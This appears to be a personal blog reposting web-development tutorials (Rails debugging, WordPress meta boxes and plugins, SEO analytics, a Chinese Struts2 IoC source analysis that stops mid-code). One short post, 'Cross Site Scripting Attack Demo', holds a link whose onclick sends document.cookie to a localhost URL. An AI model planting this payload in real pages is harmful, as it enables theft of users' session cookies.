Pages

Thursday, February 7, 2013

Debugging tips in Ruby on Rails

from: http://paulsturgess.co.uk/articles/39-debugging-tips-in-ruby-on-rails


Update Feb 2010 – Even though this article is now years old, these debugging tips still hold true.
There are quite a few different ways to go about analysing application errors in Ruby on Rails. I know when I first started out I found the error messages were quite cryptic.
On a typical application error there are three grey boxes. The first tells you the name of the error that ocurred.
The second shows the extracted source i.e. the line of code causing the error.
The third box tells you exactly where that line of code can be found. The key is to look past the lines beginning /ruby/lib/ruby/gems/ and look for the first one that begins with #{RAILS_ROOT}. It will tell you the exact file and line number you should be looking at.

Output to the console

Outputing to the console is useful for quickly testing to see your code is running as you expect. Literally just use:
puts "bla"

Output to the log

You can also output to the log. Sometimes outputting a variable can help. For example:
logger.info("bla: #{@object.name}")

Debug an object on the page

A useful way to check what an object contains is to output it in your view. Just use the following line:
debug @object
This will show every method available to the object wrapped in a <pre> tag.

Tail the log

Tailing the log file means that when you load the page, the console will output detailed information on every line of code that is run, including all SQL queries exactly how they are executed.
For linux/mac just open up your console, navigate to the log folder and use the following line:
tail -f development.log

Using Ruby irb

irb is a Ruby module that lets you enter Ruby programs interactively and see the results immediately.
It's great for testing code in an environment independant of your application. To use it, type the following at the command line:
script/console
You can then run any ruby you like.

Using breakpoint

Arguably one of the most under-used features in Rails and it has to be one of the best debugging tools. Using breakpoint gives you an irb prompt at the exact point in your code where you placed the breakpoint.
Simply place the word breakpoint in your code before the error. Now open the console and type:
script/breakpointer
Refresh your page with the error and in the console, after a few seconds, the prompt will be available.
Essentially you can now test your code, exactly as it is in your file. For more detailed instructions check the Rails wiki article on breakpoint

Debugging in production mode

Rails will show a 500 error page to your users when there is an application error. No application internals will be revealed and I it's probably a good idea to style this page to be as 'friendly' as possible.
However, this makes it somewhat trickier to debug issues in production mode. Which brings me onto Exception Notifier...

Exception notifications

One of the best debugging tools I have come across is the Exception notficiation plugin. Whenever a user manages to come across an aplication error you will receive an email with full details of that error. The level of detail is more than enough to help you decipher what may have happened. Install the plugin using:
ruby script/plugin install exception_notification
Check out the exception notifier read me for details on how to tell the plugin your IP so that you can also get the error printed to the screen and not in an email. This ensures you get error messages, while your users get custom, error friendly, pages.

Thursday, January 17, 2013

How To Create Custom Post Meta Boxes In WordPress

By
from: http://wp.smashingmagazine.com/2011/10/04/create-custom-post-meta-boxes-wordpress/

What seems like one of the most complicated bits of functionality in WordPress is adding meta boxes to the post editing screen. This complexity only grows as more and more tutorials are written on the process with weird loops and arrays. Even meta box “frameworks” have been developed. I’ll let you in on a little secret though: it’s not that complicated.
sm-wp_meta-boxes
Creating custom meta boxes is extremely simple, at least it is once you’ve created your first one using the tools baked into WordPress’ core code. In this tutorial, I’ll walk you through everything you need to know about meta boxes:
  • Creating meta boxes.
  • Using meta boxes with any post type.
  • Handling data validation.
  • Saving custom meta data.
  • Retrieving custom meta data on the front end.
Note: When I use the term “post” throughout this tutorial, I’m referring to a post of any post type, not just the default blog post type bundled with WordPress.
(Smashing’s note: If you are looking for a good book on mobile, this is the one. Our brand new book on best design and coding practices for mobile, Responsive Web design and UX design for mobile. Get it now!)

What is a post meta box?

A post meta box is a draggable box shown on the post editing screen. Its purpose is to allow the user to select or enter information in addition to the main post content. This information should be related to the post in some way.
Generally, two types of data is entered into meta boxes:
  • Metadata (i.e. custom fields),
  • Taxonomy terms.
Of course, there are other possible uses, but those two are the most common. For the purposes of this tutorial, you’ll be learning how to develop meta boxes that handle custom post metadata.

What is post metadata?

Post metadata is data that’s saved in the wp_postmeta table in the database. Each entry is saved as four fields in this table:
  • meta_id: A unique ID for this specific metadata.
  • post_id: The post ID this metadata is attached to.
  • meta_key: A key used to identify the data (you’ll work with this often).
  • meta_value: The value of the metadata.
In the following screenshot, you can see how this looks in the database.

When you get right down to it, metadata is just key/value pairs saved for a specific post. This allows you to add all sorts of custom data to your posts. It is especially useful when you’re developing custom post types.
The only limit is your imagination.
Note: One thing to keep in mind is that a single meta key can have multiple meta values. This isn’t a common use, but it can be extremely powerful.

Working with post metadata

By now, you’re probably itching to build some custom meta boxes. However, to understand how custom meta boxes are useful, you must understand how to add, update, delete, and get post metadata.
I could write a book on the various ways to use metadata, but that’s not the main purpose of this tutorial. You can use the following links to learn how the post meta functions work in WordPress if you’re unfamiliar with them.
The remainder of this tutorial assumes that you’re at least familiar with how these functions work.

The setup

Before building meta boxes, you must have some ideas about what type of metadata you want to use. This tutorial will focus on building a meta box that saves a custom post CSS class, which can be used to style posts.
I’ll start you off by teaching you to develop custom code that does a few extremely simple things:
  • Adds an input box for you to add a custom post class (the meta box).
  • Saves the post class for the smashing_post_class meta key.
  • Filters the post_class hook to add your custom post class.
You can do much more complex things with meta boxes, but you need to learn the basics first.
All of the PHP code in the following sections goes into either your custom plugin file or your theme’s functions.php file.

Building a custom post meta box

Now that you know what you’re building, it’s time to start diving into some code. The first two code snippets in this section of the tutorial are mostly about setting everything up for the meta box functionality.
Since you only want your post meta box to appear on the post editor screen in the admin, you’ll use the load-post.php and load-post-new.php hooks to initialize your meta box code.
1/* Fire our meta box setup function on the post editor screen. */
2add_action( 'load-post.php', 'smashing_post_meta_boxes_setup' );
3add_action( 'load-post-new.php', 'smashing_post_meta_boxes_setup' );
Most WordPress developers should be familiar with how hooks work, so this should not be anything new to you. The above code tells WordPress that you want to fire the smashing_post_meta_boxes_setup function on the post editor screen. The next step is to create this function.
The following code snippet will add your meta box creation function to the add_meta_boxes hook. WordPress provides this hook to add meta boxes.
1/* Meta box setup function. */
2function smashing_post_meta_boxes_setup() {
3
4    /* Add meta boxes on the 'add_meta_boxes' hook. */
5    add_action( 'add_meta_boxes', 'smashing_add_post_meta_boxes' );
6}
Now, you can get into the fun stuff.
In the above code snippet, you added the smashing_add_post_meta_boxes() function to the add_meta_boxes hook. This function’s purpose should be to add post meta boxes.
In the next example, you’ll create a single meta box using the add_meta_box() WordPress function. However, you can add as many meta boxes as you like at this point when developing your own projects.
Before proceeding, let’s look at the add_meta_box() function:
1add_meta_box( $id, $title, $callback, $page, $context = 'advanced', $priority = 'default', $callback_args = null );
  • $id: This is a unique ID assigned to your meta box. It should have a unique prefix and be valid HTML.
  • $title: The title of the meta box. Remember to internationalize this for translators.
  • $callback: The callback function that displays the output of your meta box.
  • $page: The admin page to display the meta box on. In our case, this would be the name of the post type (post, page, or a custom post type).
  • $context: Where on the page the meta box should be shown. The available options are normal, advanced, and side.
  • $priority: How high/low the meta box should be prioritized. The available options are default, core, high, and low.
  • $callback_args: An array of custom arguments you can pass to your $callback function as the second parameter.
The following code will add the post class meta box to the post editor screen.
01/* Create one or more meta boxes to be displayed on the post editor screen. */
02function smashing_add_post_meta_boxes() {
03
04    add_meta_box(
05        'smashing-post-class',          // Unique ID
06        esc_html__( 'Post Class', 'example' ),      // Title
07        'smashing_post_class_meta_box',     // Callback function
08        'post',                 // Admin page (or post type)
09        'side',                 // Context
10        'default'                   // Priority
11    );
12}
You still need to display the meta box’s HTML though. That’s where the smashing_post_class_meta_box() function comes in ($callback parameter from above).
01/* Display the post meta box. */
02function smashing_post_class_meta_box( $object, $box ) { ?>
03
04    <?php wp_nonce_field( basename( __FILE__ ), 'smashing_post_class_nonce' ); ?>
05
06    <p>
07        <label for="smashing-post-class"><?php _e( "Add a custom CSS class, which will be applied to WordPress' post class.", 'example' ); ?></label>
08        <br />
09        <input class="widefat" type="text" name="smashing-post-class" id="smashing-post-class" value="<?php echo esc_attr( get_post_meta( $object->ID, 'smashing_post_class', true ) ); ?>" size="30" />
10    </p>
11<?php }
What the above function does is display the HTML output for your meta box. It displays a hidden nonce input (you can read more about nonces on the WordPress Codex). It then displays an input element for adding a custom post class as well as output the custom class if one has been input.
At this point, you should have a nice-looking meta box on your post editing screen. It should look like the following screenshot.

The meta box doesn’t actually do anything yet though. For example, it won’t save your custom post class. That’s what the next section of this tutorial is about.

Saving the meta box data

Now that you’ve learned how to create a meta box, it’s time to learn how to save post metadata.
Remember that smashing_post_meta_boxes_setup() function you created earlier? You need to modify that a bit. You’ll want to add the following code to it.
1/* Save post meta on the 'save_post' hook. */
2add_action( 'save_post', 'smashing_save_post_class_meta', 10, 2 );
So, that function will actually look like this:
1/* Meta box setup function. */
2function smashing_post_meta_boxes_setup() {
3
4    /* Add meta boxes on the 'add_meta_boxes' hook. */
5    add_action( 'add_meta_boxes', 'smashing_add_post_meta_boxes' );
6
7    /* Save post meta on the 'save_post' hook. */
8    add_action( 'save_post', 'smashing_save_post_class_meta', 10, 2 );
9}
The new code you’re adding tells WordPress that you want to run a custom function on the save_post hook. This function will save, update, or delete your custom post meta.
When saving post meta, your function needs to run through a number of processes:
  • Verify the nonce set in the meta box function.
  • Check that the current user has permission to edit the post.
  • Grab the posted input value from $_POST.
  • Decide whether the meta should be added, updated, or deleted based on the posted value and the old value.
I’ve left the following function somewhat generic so that you’ll have a little flexibility when developing your own meta boxes. It is the final snippet of code that you’ll need to save the metadata for your custom post class meta box.
01/* Save the meta box's post metadata. */
02function smashing_save_post_class_meta( $post_id, $post ) {
03
04    /* Verify the nonce before proceeding. */
05    if ( !isset( $_POST['smashing_post_class_nonce'] ) || !wp_verify_nonce( $_POST['smashing_post_class_nonce'], basename( __FILE__ ) ) )
06        return $post_id;
07
08    /* Get the post type object. */
09    $post_type = get_post_type_object( $post->post_type );
10
11    /* Check if the current user has permission to edit the post. */
12    if ( !current_user_can( $post_type->cap->edit_post, $post_id ) )
13        return $post_id;
14
15    /* Get the posted data and sanitize it for use as an HTML class. */
16    $new_meta_value = ( isset( $_POST['smashing-post-class'] ) ? sanitize_html_class( $_POST['smashing-post-class'] ) : '' );
17
18    /* Get the meta key. */
19    $meta_key = 'smashing_post_class';
20
21    /* Get the meta value of the custom field key. */
22    $meta_value = get_post_meta( $post_id, $meta_key, true );
23
24    /* If a new meta value was added and there was no previous value, add it. */
25    if ( $new_meta_value && '' == $meta_value )
26        add_post_meta( $post_id, $meta_key, $new_meta_value, true );
27
28    /* If the new meta value does not match the old value, update it. */
29    elseif ( $new_meta_value && $new_meta_value != $meta_value )
30        update_post_meta( $post_id, $meta_key, $new_meta_value );
31
32    /* If there is no new meta value but an old value exists, delete it. */
33    elseif ( '' == $new_meta_value && $meta_value )
34        delete_post_meta( $post_id, $meta_key, $meta_value );
35}
At this point, you can save, update, or delete the data in the “Post Class” meta box you created from the post editor screen.

Using the metadata from meta boxes

So you have a custom post meta box that works, but you still need to do something with the metadata that it saves. That’s the point of creating meta boxes. What to do with your metadata will change from project to project, so this is not something I can answer for you. However, you will learn how to use the metadata from the meta box you’ve created.
Since you’ve been building a meta box that allows a user to input a custom post class, you’ll need to filter WordPress’ post_class hook so that the custom class appears alongside the other post classes.
Remember that get_post_meta() function from much earlier in the tutorial? You’ll need that too.
The following code adds the custom post class (if one is given) from your custom meta box.
01/* Filter the post class hook with our custom post class function. */
02add_filter( 'post_class', 'smashing_post_class' );
03
04function smashing_post_class( $classes ) {
05
06    /* Get the current post ID. */
07    $post_id = get_the_ID();
08
09    /* If we have a post ID, proceed. */
10    if ( !empty( $post_id ) ) {
11
12        /* Get the custom post class. */
13        $post_class = get_post_meta( $post_id, 'smashing_post_class', true );
14
15        /* If a post class was input, sanitize it and add it to the post class array. */
16        if ( !empty( $post_class ) )
17            $classes[] = sanitize_html_class( $post_class );
18    }
19
20    return $classes;
21}
If you look at the source code of the page where this post is shown on the front end of the site, you’ll see something like the following screenshot.
post-class-source-code
Pretty cool, right? You can use this custom class to style posts however you want in your theme’s stylesheet.

Security

One thing you should keep in mind when saving data is security. Security is a lengthy topic and is outside the scope of this article. However, I thought it best to at least remind you to keep security in mind.
You’ve already been given a link explaining nonces earlier in this tutorial. The other resource I want to provide you with is the WordPress Codex guide on data validation. This documentation will be your best friend when learning how to save post metadata and will provide you with the tools you’ll need for keeping your plugins/themes secure.
Bonus points to anyone who can name all of the security measures used throughout this tutorial.

Create a custom meta box

Once you’ve copied, pasted, and tested the bits of pieces of code from this tutorial, I encourage you to try out something even more complex. If you really want to see how powerful meta boxes and post metadata can be, try doing something with a single meta key and multiple meta values for that key (it’s challenging).
I hope you’ve enjoyed the tutorial. Feel free to post questions about creating meta boxes in the comments.



find more on http://sunfeng.ca/

Tutorial: How to write a WordPress Plugin?

December 27th in Wordpress by .

WordPress is not just a blogging platform and it is such a powerful CMS with unlimited capabilities, besides having a huge user base. Almost anything can be scripted with wordpress. You can extend wordpress either by means of plugin or by a theme.
In this tutorial, i will show you how to write a Hello World wordpress plugin, which unlike many believe is surprisingly easy, once you understand the very fundamentals. All you need to have is a basic knowledge of php scripting.
Before we move on coding a plugin, please make sure you remember the following coding practices.
1. Always you chose a unique name to your plugin so that it doesnt collide with names used in other plugins.
2. Make sure you comment wherever and whenever necessary in the code.
3. You will to test the plugin in your localhost (using xampp) along with latest version of wordpress.

Plugin Files & Names

Assigning unique names, documenting and organizing the plugin files is very important part of plugin creation.

Although wordpress allows you to place the plugin php file directly into the wp-content/plugins folder, for a good plugin developer you will need to create a folder named hello-world and within place readme.txt and hello-world.php.
The readme.txt contains information about your plugin and can come in handy when you submit your plugin wordpress SVN plugin repository. See the readme sample.
Go ahead and create these files and we will add the content to these files later.

The Plugin Basics

The heart of a wordpress plugins is the below 2 functions (commonly called `hooks`)
add_action ($tag, $func) documentation
add_filter ($tag,$func) documentation
It is very important to know the difference between the above functions.
  • add_action –> does an action at various points of wordpress execution
  • add_filter –> does filtering the data (eg. escaping quotes before mysql insert, or during output to browser.
Refer to the WordPress Plugin API for more better understanding.

Plugin Information

Open your hello-world.php and in the first line, add this commented plugin information to your file.
<?php
/*
Plugin Name: Hello-World
Plugin URI: http://yourdomain.com/
Description: A simple hello world wordpress plugin
Version: 1.0
Author: Balakrishnan
Author URI: http://yourdomain.com
License: GPL
*/
?>
Save this php file,
  • Place the plugin folder to wordpress > wp-content > plugins,
  • Go to your wordpress admin > plugins and you will see the new plugin listed, waiting to get activated.
simple ain’t it?

But this plugin had to do something right?

Why not we make it print  “Hello World” when we call it from wordpress theme template files.
for that we write the code using add_action below the commented plugin information in the hello-world.php
<?php
/*
Plugin Name: Hello-World
Plugin URI: http://yourdomain.com/
Description: A simple hello world wordpress plugin
Version: 1.0
Author: Balakrishnan
Author URI: http://yourdomain.com
License: GPL
*/
/* This calls hello_world() function when wordpress initializes.*/
/* Note that the hello_world doesnt have brackets.
add_action('init','hello_world');
function hello_world()
{
echo "Hello World";
}
?>
Thats it! Our Hello World plugin is nearly done and with just few lines of code. When our plugin is activated, add_action command calls our hello_world() function when wordpress starts loading.

Lets Test our Hello World Plugin

We really dont know whether our plugin works or not. To test our plugin, go to plugins, activate the hello-world plugin.
Then open your worldpress theme wp-content > themes > default, open any of index.php, archive.php or single.php and place the following code anywhere.
<?php
if(function_exists('hello_world')) {
hello_world();
}
?>
The key here is function_exists() call which checks whether plugin loaded or not and then allows the hook into the plugin function.  Call to hello_world() in the theme files without checking it, often leads to “Fatal error: call to undefined function” and our blog would crash, if the hello world plugin is not activated or deleted.

If you carefully notice above graphic, see how the hello world appears. Thats the work of our plugin. It WORKS!

Lets take our plugin one step further!

Why not, we build a plugin options page in admin area and provide a backend for plugin users?
Right now, the plugin outputs hello world (its pretty much static) and if somebody wants to output ‘Hello Example’, they need to open the php file and make changes everytime to print different text.
Asking the user to edit plugin files isnt a good idea!  As a wordpress plugin developer, it is you, who has to provide a good wordpress options interface in the wp-admin area.

Writing Plugin Options Page

We now create  Hello World options page in the wordpress admin area.

Here is what we do….
  • When plugin gets activated, we create new database field `wp_hello_world_data` using set_options() function.
  • When plugin gets deactivated, we delete the database field `wp_hello_world_data`
  • We create a options menu for Hello World in WordPress Admin > Settings.
  • We save the user entered data in the wordpress database.
  • We retrieve the data stored in wordpress database and output it using get_options() function.
Why we are creating database field? because the saved data must be saved somewhere? ie. in wordpress database. This way the plugin outputs user entered text, instead of the static “Hello World”.

Activating/Deactivating Plugin

It is very easy to write a function on what plugin does, when it gets activated. WordPress offers 4 very important functions
<?php
/* Runs when plugin is activated */
register_activation_hook(__FILE__,'hello_world_install'); 

/* Runs on plugin deactivation*/
register_deactivation_hook( __FILE__, 'hello_world_remove' );

function hello_world_install() {
/* Creates new database field */
add_option("hello_world_data", 'Default', '', 'yes');
}

function hello_world_remove() {
/* Deletes the database field */
delete_option('hello_world_data');
}

?>
The above code creates the new database field `hello_world_data` using add_options and it runs when we activate the plugin. It has the value ‘default’ since we explicitly define it.
Similarly when the plugin gets deactivated or removed, we need to clean up things, so we remove the created database field using delete_option.

Plugin Settings Page

This is our final step.  All we need to create is plugin settings page in the wordpress admin area.  The settings page will update and save the data to the database field `hello_world_data` which we created while activating the plugin. Be sure to checkout creating options page in wordpress codex.
Here is a very important thing to remember:
The add_action for admin_menu should call a function hello_world_admin_menu() containing add_options_page, which in turn should call a function hello_world_html_code() containing html code. This is how the code should flow! Refer to wordpress administration menus
<?php
if ( is_admin() ){

/* Call the html code */
add_action('admin_menu', 'hello_world_admin_menu');

function hello_world_admin_menu() {
add_options_page('Hello World', 'Hello World', 'administrator',
'hello-world', 'hello_world_html_page');
}
}
?>
The above code, is placed under is_admin() which means it only runs in the wordpress admin area.
The below function has the html code for the settings page, containing the form and notice how the php tag is split to accomodate the html code.

and the coding part is..
<?php
function hello_world_html_page() {
?>
<div>
<h2>Hello World Options</h2>

<form method="post" action="options.php">
<?php wp_nonce_field('update-options'); ?>

<table width="510">
<tr valign="top">
<th width="92" scope="row">Enter Text</th>
<td width="406">
<input name="hello_world_data" type="text" id="hello_world_data"
value="<?php echo get_option('hello_world_data'); ?>" />
(ex. Hello World)</td>
</tr>
</table>

<input type="hidden" name="action" value="update" />
<input type="hidden" name="page_options" value="hello_world_data" />

<p>
<input type="submit" value="<?php _e('Save Changes') ?>" />
</p>

</form>
</div>
<?php
}
?>
You must remember 2 things in the above code.
1. Specify the database field we created before in the input text box as `hello_world_data`
<input name="hello_world_data" type="text" id="hello_world_data"
value="<?php echo get_option('hello_world_data'); ?>" />

2. If your form has number of fields (like textbox, selectbox etc), all those should be listed in the value field of page_options, separated by commas. For more information, refer to wordpress documentation
<input type="hidden" name="page_options" value="hello_world_data" />
Now, the plugin outputs whatever the user specifies in the hello world settings page.
Thats it! Our plugin is READY!
Dont forget to add documentation to readme.txt.
Enjoy!
___________________________________________

find more on http://sunfeng.ca/ 

Saturday, January 12, 2013

How to find new SEO opportunities with Google Analytics and Webmaster Tools

October 20, 2011By: Julien Simon
from: http://www.6smarketing.com/how-to-find-new-seo-opportunities-with-google-webmaster-tools-integration-in-google-analytics/
On October 4 2011, Google announced that search queries data from the Google Webmaster tools were now available in Google Analytics. What does that mean for you and your website? Well, as SEO specialists, we are always looking for new ways to find opportunities to increase traffic, conversions and revenue on a website. The integration of Google Webmaster Queries in Google Analytics allows us to find these golden opportunities. Let’s look at what new data these reports allow us to look at.

The New Reports

Enabling Google Webmaster Tools in Google Analytics will give you access to this data: (click on images throughout the blog post to enlarge them)

1) Queries

From this tab, you can see the queries which related to your website and sort them by impressions, clicks, average position and CTR. This can be very useful:
Google Analytics SEO queries
One thing to keep in mind is that the average position is not the ranking for these keywords but the average position out of all the impressions. It could mean that if you have multiple positions for a single keyphrase, it will take the average of all impressions and not the highest ranking.
From Google’s Webmaster Help:
“To calculate average position, we take into account the ranking of your site for a particular query
(for example, if a query returns your site as the #1 and #2 result, then the average position would be 1.5).”
However, beside the keywords for which you rank multiple times for, you can assume that the average position equals the average ranking. The rest of the information presented in this report can be quite useful. We will elaborate on that later in this post.

2) Landing Pages

This report is basically the same as the one described above except it shows pages instead or queries:
Google Analytics SEO landing pagesThe average position report is interesting but requires more digging to see which keywords a page actually ranks for. However, data like impressions and CTR can be very useful to gauge the potential power of a page.

3)   Geographical Summary

This report is mostly useful for sites with an international audience and reports the same data sorted by countries:
Google Analytics SEO countriesYou can also change the “view” to compare clicks per impression per country for example and see the relevancy of your search results on country per country basis.

4) Google Property

Hidden in the Geographical Summary is a tab called Google Property which gives you an overall picture of what channels your website is most listed in:
GA SEO Google PropertyThis helps you determine which areas you need to focus on. You could also decide to create/improve the mobile version of your website if the number of impressions and clicks is not high enough.

How to Find SEO Opportunities within the Search Engine Optimization Report?

The main advantages of enabling the migration of data from Google Webmaster Tools to Google Analytics are that Google Analytics now allows you to:
  • Set up a secondary dimension such as “Google Property” which tells you where each query is being displayed
  • Change the view to “comparison” and sort that data by Clicks, impressions, CTR, Average position very easily, while comparing the results to the site average or to other queries.
  • Apply filters to sort the data in more details.
Google Analytics SEO advantagesFilters could help you find keywords that rank on average on the second page of Google, find keywords that rank on the first two pages of Google but have a low CTR and so on…depending on what your goals are, there are several filters that would make your life as an SEO specialist a lot easier. Let’s look at some concrete examples:

Finding SEO Opportunities:

Pages with traffic opportunity

On the landing pages tab of the search engine optimization report, apply a filter to show the pages with high impressions (the number will vary depending on your website) and an average position below 7:
filter page with opportunityApplying this filter to our test website helped me find a secondary page that doesn’t drive very much traffic:
SEO opportunity Traffic pages105 visitors in a month isn’t very many and this page isn’t a primary focus of this website. However, when looking at the new search engine optimization report within Google Analytics with the filter described above, we can see that this page has the potential to drive tons of traffic:
SEO Opportunity Pages with trafficIt’s the number #1 landing page in terms of impressions with 60,000 impressions in a month, way above the home page of the website which had6,500. However, the average position of that page is only 8.5 so increasing its average position to the top 5 or top 3 and tweaking the description tag to make the listing more appealing could potentially drive a lot more traffic.

Pages with keyword cannibalization issue opportunity

Finding keyword cannibalization isn’t easy because at least two pages are involved and cross matching data is necessary. There are no magic filters that will find these pages for you. However, it is possible to find these pages with some digging and filtering.
For example, I applied a filter on our test website to find pages that ranked well but had a low CTR, therefore didn’t seem relevant to users:
SEO keyword cannibalization FilterI looked at the page that showed up #1 in that result.  After checking that the title and meta description were correct, deeper research allowed us to find the following information:
SEO Opportunity Pages with keyword cannibalizationWhen looking at this page’s statistics, you see that it doesn’t drive a ton of traffic. Also, you will notice that the bounce rate is really high, which is a bad sign. When looking at the report from Google Webmaster Tools, we can see that the page ranks fairly high with an average position of 3.7:
SEO Opportunity Pages with keyword cannibalizationThere was a clear opportunity with a page that ranks high enough to drive traffic but doesn’t actually receive clicks and has a high bounce rate. To investigate further, the keywords that drove traffic to the page were compared against the list of keywords that were targeted for that page. It turns out that the keywords bringing traffic to this page were not all relevant. Moreover, when I looked at the search results for important keywords, another page from the same site ranked higher while being less relevant for these keywords. It was a typical case of keyword cannibalization where on-page SEO tweaks to both pages would help rectifying the SEO issues, and drive more relevant traffic to both pages.

Pages with conversions opportunity

The process for trying to find pages with high conversion opportunities I follow is:
  • Look at the top ‘X’ pages with the most traffic (Number of pages can vary depending on size of website).
  • Look at the top ‘X’ pages with the most conversions.
  • Check these pages in the “Search engine optimization” part of the Google Analytics report and look for their impressions, CTR and average position.
  • Then cross match all the data and hope some pages will jump out like this one:
Pages with conversions SEO OpportunityThis page has a fair amount of traffic compared to the average on the site, and is the third highest landing page. The high bounce is a bit alarming. However, this page sells big industrial products and when looking at some keywords driving traffic to this page, we can see that some keywords apply for both B2B and B2C. The B2B part of the traffic is converting much better, when the B2C part of the traffic bounces out.
When looking at the top pages with the most conversions, this page ranks number 4, which is quite good (I applied the advanced segment: “visits with conversion”):landing page with conversion
The “search engine optimization” report from Google Analytics tells us that this page ranks on average at the 15th position in Google Web search results:
SEO landing page with conversion
All this data put together tells us that this page is one of the pages that drive the most traffic and that convert the most. However, this page has a huge bounce rate, and ranks poorly on a few of the keywords it is listed for. Increasing the average ranking from 15 to top 5, and reducing the bounce rate from 75% to at least the 40-50% range would make a significant improvement and could potentially drive a lot more traffic and conversions.
These 3 examples showed you how using the “Search Engine Optimization” part of the Google Analytics report can help you find SEO opportunities. What do you think? Do you use this part of the report? If not, will you start using it now?

find more on http://sunfeng.ca/ 

Thursday, November 29, 2012

Cross Site Scripting Attack Demo

<a onclick="document.location='http://localhost/?cookie='+escape(document.cookie);" href="#"> click here</a> to know more about


click here to know more about

Monday, November 26, 2012

struts2源码分析-IOC容器的实现机制(上篇)

from: http://blog.csdn.net/fcbayernmunchen/article/details/7686385

   说起 IOC 容器,依赖注入等名词,大家的第一印象往往是spring,因为spring刚出道的时候招牌就是 IOC和AOP等核心功能,而且我们在应用程序中使用spring最多的功能之一也是其 IOC 容器提供的。而 struts2做为一个 web层的MVC实现框架,其核心功能主要是帮助我们处理 http请求,但是 struts2本身也包含了一个 IOC 容器,用来支撑struts2的运行环境,并具备对象的获取和依赖注入功能,在搭建 ssh架构的时候,如果我们不配置 struts2和spring整合的插件,不把 Action转交给 spring-ioc来托管,那么struts2自身的ioc容器也足以满足我们的需求。而且个人以为 相比于 spring的ioc实现, struts2-ioc 的源代码更加精致、小巧,便于研究和学习。
   一、struts2-IOC容器简介.
    对于 一个ioc 容器来说,其核心功能是对象获取和依赖注入,在struts2 中容器的接口表示如下:
  1. public interface Container extends Serializable {  
  2.   
  3.   /** 
  4.    * Default dependency name. 
  5.    */  
  6.   String DEFAULT_NAME = "default";  
  7.   
  8.   /** 
  9.    * Injects dependencies into the fields and methods of an existing object. 
  10.    */  
  11.   void inject(Object o);  
  12.   
  13.   /** 
  14.    * Creates and injects a new instance of type {@code implementation}. 
  15.    */  
  16.   <T> T inject(Class<T> implementation);  
  17.   
  18.   /** 
  19.    * Gets an instance of the given dependency which was declared in 
  20.    * {@link com.opensymphony.xwork2.inject.ContainerBuilder}. 
  21.    */  
  22.   <T> T getInstance(Class<T> type, String name);  
  23.   
  24.   /** 
  25.    * Convenience method. Equivalent to {@code getInstance(type, 
  26.    * DEFAULT_NAME)}. 
  27.    */  
  28.   <T> T getInstance(Class<T> type);  
  29.     
  30.   /** 
  31.    * Gets a set of all registered names for the given type 
  32.    * @param type The instance type 
  33.    * @return A set of registered names 
  34.    */  
  35.   Set<String> getInstanceNames(Class<?> type);  
  36.   
  37.   /** 
  38.    * Sets the scope strategy for the current thread. 
  39.    */  
  40.   void setScopeStrategy(Scope.Strategy scopeStrategy);  
  41.   
  42.   /** 
  43.    * Removes the scope strategy for the current thread. 
  44.    */  
  45.   void removeScopeStrategy();  
  46. }  

   从Containter接口的表示方法中,我们可以非常直观的看出 ioc容器的对象获取和依赖注入这两个功能被表示为重载方法 getInstance 和 inject,这里我先对 getInstance(Class<T> type, String name) 和 inject(Object ) 这个方法进行简单的分析。
   getInstance(Class<T> type, String name) 方法是从struts2容器中获取对象,那么strus2-ioc管理的是哪些对象呢?或者说其管理的对象范围。我们都知道struts2程序启动初始化 时会去加载至少3个xml配置文件: struts-default.xml , struts-plugin.xml 和 struts.xml,其中前两者是struts2自带的框架级别的配置,后者是我们自己项目中的应用级别的配置,那么ioc容器所管理的对象就是在这其 中配置的对象,我以我们开发中常见的 struts.xml为例,现在我想将两个 Service 对象放入 struts2-ioc中,配置如下:
  1. <bean  type="com.service.UserService" name="service1" class="com.service.impl.UserServiceImp1" />  
  2. <bean  type="com.service.UserService" name="service2" class="com.service.impl.UserServiceImp2" />  
  如果我想从 struts2-ioc 容器中获取 UserServiceImp1 对象,代码 为:ActionContext.getContainter().getInstance(UserService.class,"service1"); 大家应该看明白 getInstance(Class<T> type, String name) 方法的使用方式了吧,其中的 type 即为 配置文件中声明的接口类型(当然也可以是具体类), class 为其中一种具体实现方式,而 name 为 标识,所以结论就是 以 type和name作为联合主键从ioc容器管理的对象中获取相应的对象!
  对于 inject(Object o),顾名思义,从字面上来看就知道是进行依赖注入操作,这里要强调的是,该方法是为参数Object o 这个对象注入在容器中管理的对象,建立起参数对象Object o 和容器管理对象之间的依赖关系 这 个参数对象 Object o 可以是容器管理的对象,也可以是我们自定义的对象,即它可以是任意对象,不必和getInstance(Class<T> type, String name)方法那样只能是容器管理的对象。 那么容器怎么判断应该为该任意对象的哪些字段或者方法参数实施依赖注入呢?在 Spring中我们是通过 @Autowired 注解或者 在 xml 文件中配置依赖关系的。在 struts2的ioc实现中,则也是通过注解的方式实现,即 @Inject 来实现的,一旦我们在任意对象的方法参数、构造参数、字段上加入@Inject注解声明,那么就是在告诉ioc容器:请为我注入由容器管理的对象实例吧。
  
  1. @Target({METHOD, CONSTRUCTOR, FIELD, PARAMETER})  
  2. @Retention(RUNTIME)  
  3. public @interface Inject {  
  4.   
  5.   /** 
  6.    * Dependency name. Defaults to {@link Container#DEFAULT_NAME}. 
  7.    */  
  8.   String value() default DEFAULT_NAME;  
  9.   
  10.   /** 
  11.    * Whether or not injection is required. Applicable only to methods and 
  12.    * fields (not constructors or parameters). 
  13.    */  
  14.   boolean required() default true;  
  15. }  

  以上 Inject 注解中的 value字段对应的就是之前我们在 xml 配置文件中的 name 属性,如之前的 "service1" 或 "service 2" ,其默认值为 "default".Struts2通过此Inject注解,架起了任意对象与ioc容器进行通信的桥梁,使得受ioc容器管理的对象能够注入到任意对象对应的带Inject注解的方法参数和字段上。

下面我就以struts2中创建一个Action对象并进行依赖注入为例子,看看实际开发中是如何使用该功能的。
  
  1. public class InjectAction extends ActionSupport {  
  2.     @Inject(value = "service1")  
  3.     private UserService service1;  
  4.   
  5.     @Override  
  6.     public String execute() throws Exception {  
  7.             UserService service2 = ActionContext.getContext().getContainer().getInstance(UserService.class"service2");  
  8.             return SUCCESS;  
  9.     }  
  10. }  
    我们看到了,在实例字段中我们加入了 @Inject 声明进行依赖注入,那么结合之前所述可以推测到,struts2的源码必定在创建Action的时候,调用的 inject 方法对Action对象进行依赖注入,果不其然,源码如下:
  

  1. public Object buildAction(String actionName, String namespace, ActionConfig config, Map<String, Object> extraContext) throws Exception {  
  2.        return buildBean(config.getClassName(), extraContext);  
  3.    }  
  4.   
  5. public Object buildBean(String className, Map<String, Object> extraContext) throws Exception {  
  6.        return buildBean(className, extraContext, true);  
  7.    }  
  8.   
